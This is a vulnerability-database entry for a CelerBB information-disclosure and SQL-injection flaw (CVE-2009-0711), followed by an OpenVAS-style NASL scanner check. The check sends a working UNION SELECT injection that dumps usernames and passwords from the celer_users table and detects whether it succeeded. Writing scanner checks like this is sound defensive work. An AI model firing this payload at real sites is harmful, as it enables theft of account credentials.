5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
6.8 Medium
AI Score
Confidence
Low
0.002 Low
EPSS
Percentile
53.6%
CelerBB is prone to an information-disclosure vulnerability and
multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize
user-supplied data.
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100017");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2009-03-06 13:13:19 +0100 (Fri, 06 Mar 2009)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34014");
script_cve_id("CVE-2009-0711");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("CelerBB Information Disclosure and Multiple SQL Injection Vulnerabilities");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2009 Greenbone AG");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"CelerBB is prone to an information-disclosure vulnerability and
multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize
user-supplied data.");
script_tag(name:"impact", value:"A successful attack could allow an attacker to obtain sensitive
information, compromise the application, access or modify data, or exploit vulnerabilities in the
underlying database.");
script_tag(name:"affected", value:"CelerBB 0.0.2 is vulnerable, other versions may also be affected.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features,
remove the product or replace the product by another one.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port(default:80);
if(!http_can_host_php(port:port))
exit(0);
foreach dir(make_list_unique("/forum", http_cgi_dirs(port:port))) {
if(dir == "/")
dir = "";
res = http_get_cache(item:dir + "/main.php", port:port);
if(!res || res !~ "^HTTP/1\.[01] 200")
continue;
if("Welcome to Celer Boards!" >!< res &&
"<h1>Celer - Bulletin Board</h1>" >!< res &&
'<li id="register"><a href="register.php">Register</a></li>' >!< res &&
'<a href="viewforum.php?id=' >!< res)
continue;
url = string(dir, "/viewforum.php?id=-1%27%20UNION%20ALL%20SELECT%201,2,GROUP_CONCAT(CONCAT(username,%200x3a,%20password,0x3a,id,0x3a,last_login)),4,5,6,7,8%20FROM%20celer_users%23");
if(http_vuln_check(port:port, url:url, pattern:">.*:+.*:+[0-9]+:+[0-9]+</th>")) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);